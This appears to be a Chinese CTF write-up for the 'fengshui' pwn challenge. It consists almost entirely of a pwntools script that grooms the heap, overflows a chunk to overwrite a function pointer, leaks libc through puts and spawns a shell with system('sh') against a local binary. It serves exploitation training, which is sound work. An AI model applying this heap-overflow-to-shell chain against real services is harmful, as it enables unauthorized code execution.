和媳妇一起学Pwn 之 fengshui

题目文件:fengshui

image

i春秋课程: CTF PWN选手的养成

from pwn import *
context(arch="amd64",os ='linux',log_level='debug')
myelf = ELF("./fengshui")
libc   = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
io = process(myelf.path)

uu64        = lambda data                 :  u64(data.ljust(8, b'\0'))
sla         = lambda delim,data           :  (io.sendlineafter(delim, data))
add         = lambda s1,n1,s2,n2,tutor    :  (sla("option:\n","1"),sla("\n",str(s1)),sla("\n",n1),sla("\n",str(s2)),sla("\n",n2),sla("\n",tutor))
delete      = lambda id                   :  (sla("option:\n","2"),sla("\n",str(id)))
edit        = lambda id,idx,size,name     :  (sla("option:\n","3"),sla("\n",str(id)),sla("option:\n",str(idx)),sla("\n",str(size)),sla("\n",name))
show        = lambda id                   :  (sla("option:\n","4"),sla("\n",str(id)))

# heap fengshui to clear up all bins
for i in range(10):
    add(0x10,'x',0x10,'x','yes')
    add(0x20,'x',0x20,'x','yes')
    add(0x30,'x',0x30,'x','yes')
    add(0x40,'x',0x40,'x','yes')
    add(0x50,'x',0x50,'x','yes')
    add(0x60,'x',0x60,'x','yes')
    add(0x70,'x',0x70,'x','yes')

# prepare two chunks to be overflowed
add(0x10,'1111',0x10,'2222','yes')
add(0x10,'3333',0x10,'4444','yes')

# heap overflow to cover the function pointer
def call(func,param):
    edit(70,2,1000,'a'*72+p64(param)+p64(func))
    show(71)

# use puts leak libc
call(myelf.plt['puts'],myelf.got['puts'])
libc_addr = uu64(io.recvline()[:-1])-libc.symbols['puts']
system    = libc_addr + libc.symbols['system']
sh        = libc_addr + libc.search("sh\x00").next()

# call system("sh")
call(system,sh)
io.interactive()